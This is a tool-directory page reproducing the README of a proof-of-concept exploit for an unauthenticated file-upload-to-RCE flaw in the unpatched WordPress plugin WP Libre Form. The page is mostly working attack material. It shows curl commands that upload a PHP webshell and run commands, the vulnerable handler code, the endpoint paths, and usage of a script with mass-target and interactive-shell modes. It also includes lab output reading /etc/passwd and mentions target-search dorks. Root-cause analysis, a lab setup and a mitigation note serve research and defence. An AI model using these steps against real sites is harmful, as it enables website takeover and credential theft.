Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-118423 — Detection and exploitation PoC for CVE-2026-118423, an unauthenticated file upload to RCE in WP Libre Form <= 1.5.0.1, with webshell upload, mass mode, and lab setup. | Kitploit
Tools/GitHubGitHub/im0xfay/cve-2026-118423
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubim0xfay/cve-2026-118423

CVE-2026-118423

Detection and exploitation PoC for CVE-2026-118423, an unauthenticated file upload to RCE in WP Libre Form <= 1.5.0.1, with webshell upload, mass mode, and lab setup.

14 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    387
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    308
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    275

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-118423 — WP Libre Form <= 1.5.0.1

Unauthenticated Arbitrary File Upload → Remote Code Execution

CVE CWE CVSS Status License Python

Plugin status: closed on WordPress.org on 8 September 2026 — no fix version available. Verified: 2026-11-06, isolated lab (WP 6.7.1 / PHP 8.2 / Apache).


TL;DR

The WordPress plugin WP Libre Form stores files from form submissions without any type/extension validation. Its handler is registered on the wp_ajax_nopriv_* hook (without authentication) and calls move_uploaded_file() raw.

An unauthenticated attacker uploads a .php file to wp-content/uploads/ → the file is web-accessible → RCE as the web server user (usually www-data).

# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
  -F "action=wplf_submit" -F "_form_id=32" \
  -F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}

# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

TypeCWE-434 Unrestricted Upload of File with Dangerous Type
Auth requiredNone
User interactionNone
PrerequisiteAt least 1 published wplf-form form (usually the Contact page)
ImpactRCE — command execution as the web server user
CVSS 3.19.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fixed versionNone (plugin closed by vendor)

From RCE, an attacker can read wp-config.php (DB credentials), access the file system, pivot to the internal network, or install a permanent backdoor.


Root Cause

inc/wplf-ajax.php — wplf_ajax_submit_handler():

add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' );  // <-- tanpa auth
foreach ( $_FILES as $key => $file ) {
  // Is this enough security wise?          <-- diduga sang penulis sendiri
  if ( $should_store_images_in_medialibrary ) {
    $attach_id = media_handle_upload( $key, 0, ... );   // aman (WP core memfilter)
  } else {
      $name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
      move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );  // <-- RENTAN
  }
}

sanitize_file_name() does not filter extensions. There is no wp_check_filetype(), no whitelist/blacklist, no MIME check.

Three paths to the same sink

#EndpointAuthNotes
1POST /wp-admin/admin-ajax.php (action=wplf_submit)❌always available
2POST /wp-json/wplf/v1/submit❌requires pretty permalinks
3POST /index.php?rest_route=/wplf/v1/submit❌always available

Paths 2–3 are REST routes registered without a permission_callback — WordPress itself flags this via the X-WP-DoingItWrong header.


Tool — poc.py

Automatic detection and exploitation, menu or CLI mode, single or mass.

 [1] Single  — detect
 [2] Single  — exploit (upload + verify)
 [3] Mass    — detect  (targets.txt)
 [4] Mass    — exploit (targets.txt)
 [0] Keluar

Mulai cepat

git clone https://github.com/im0xfay/CVE-2026-118423 && cd CVE-2026-118423
pip install requests

python3 poc.py                                    # menu interaktif
python3 poc.py -u http://TARGET                   # detect-only (default)
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing --shell
python3 poc.py --targets targets.txt -t 10 -o hasil.json

Options

FlagFunction
-u, --urltarget (may be repeated)
--targets FILElist of targets, one per line
--exploitenable upload (destructive) — requires --i-know-what-im-doing
--i-know-what-im-doingexplicit confirmation for --exploit
--shellinteractive shell after RCE
--endpointforce path: auto / ajax / rest / rest_query
--fieldfile field name (default: auto-probe 6 candidates)
--tz-offsetserver timezone offset (hours); default auto-sweep
--cmd-paramwebshell command parameter name (default c)
-t, --threadsthreads for mass mode
-o, --json-outsave results to JSON
-q, --quietonly show VULN/RCE
-v, --verboseshow every request

Status tags (honest, never claims what wasn't observed)

TagMeaning
RCEupload and execution verified (uid= read from webshell)
VULNunauth primitive proven / file uploaded but execution not yet confirmed
INFOplugin detected but no published form
CLEANplugin not detected
UNKNOWNtarget does not respond

Verification

Full reproduction in lab — actual output:

$ python3 poc.py -u http://127.0.0.1:8096 --exploit --i-know-what-im-doing
RCE  http://127.0.0.1:8096  v1.5  [ajax]  shell=http://127.0.0.1:8096/wp-content/uploads/2026/11/lf_2611060113-0-lf-poc-4w54cm7nbb.php
  - route wplf/v1/submit tanpa permission_callback (X-WP-DoingItWrong)
  - form 32 reachable via ajax
  - time-anchor: server Date header
  - exec: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Objective evidence (not just markers):

$ curl "<shell>?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "<shell>?c=head%20-2%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Lab

./scripts/fetch-source.sh          # ambil source plugin rentan (tidak disertakan di repo)
./scripts/lab-up.sh                # bangun lab: WP 6.7.1 + MySQL 8 @ 127.0.0.1:8096
python3 poc.py -u http://127.0.0.1:8096
./scripts/lab-down.sh              # matikan

Requires Docker. The script uses plain docker run (not docker compose).

lab/docker-compose.yml is included as an alternative reference if the compose plugin is available.


Repo structure

poc.py                          tool utama (deteksi + eksploitasi)
CVE-2026-118423-report.md       laporan lengkap (8 seksi)
README.md                       dokumen ini
DISCLAIMER.md                   penggunaan yang sah & risiko
SECURITY.md                     kebijakan pelaporan kerentanan
LICENSE                         MIT

docs/
  root-cause.md                 analisis source + bukti dari lab
  exploit-chain-verified.md     rantai eksploitasi yang terverifikasi end-to-end
  bypass-analysis.md            teknik ekstensi yang diuji, + hasilnya
  self-attack.md                10 mode kegagalan & mitigasinya
  fofa-dorks.md                 dork pencarian target
  run-log.md                    log riset + bug yang ditemukan

scripts/
  fetch-source.sh               ambil source plugin rentan (SVN → src/, gitignored)
  lab-up.sh                     bangun lab
  lab-down.sh                   matikan lab

lab/docker-compose.yml          definisi lab (referensi)
.github/workflows/              CI: lint + lab end-to-end

src/ (source plugin pihak ketiga) tidak disertakan di repo — ambil sendiri via scripts/fetch-source.sh.


Mitigasi

Tidak ada versi patch (trunk == 1.5.0.1). Prioritas: hapus/nonaktifkan plugin.

Download Tool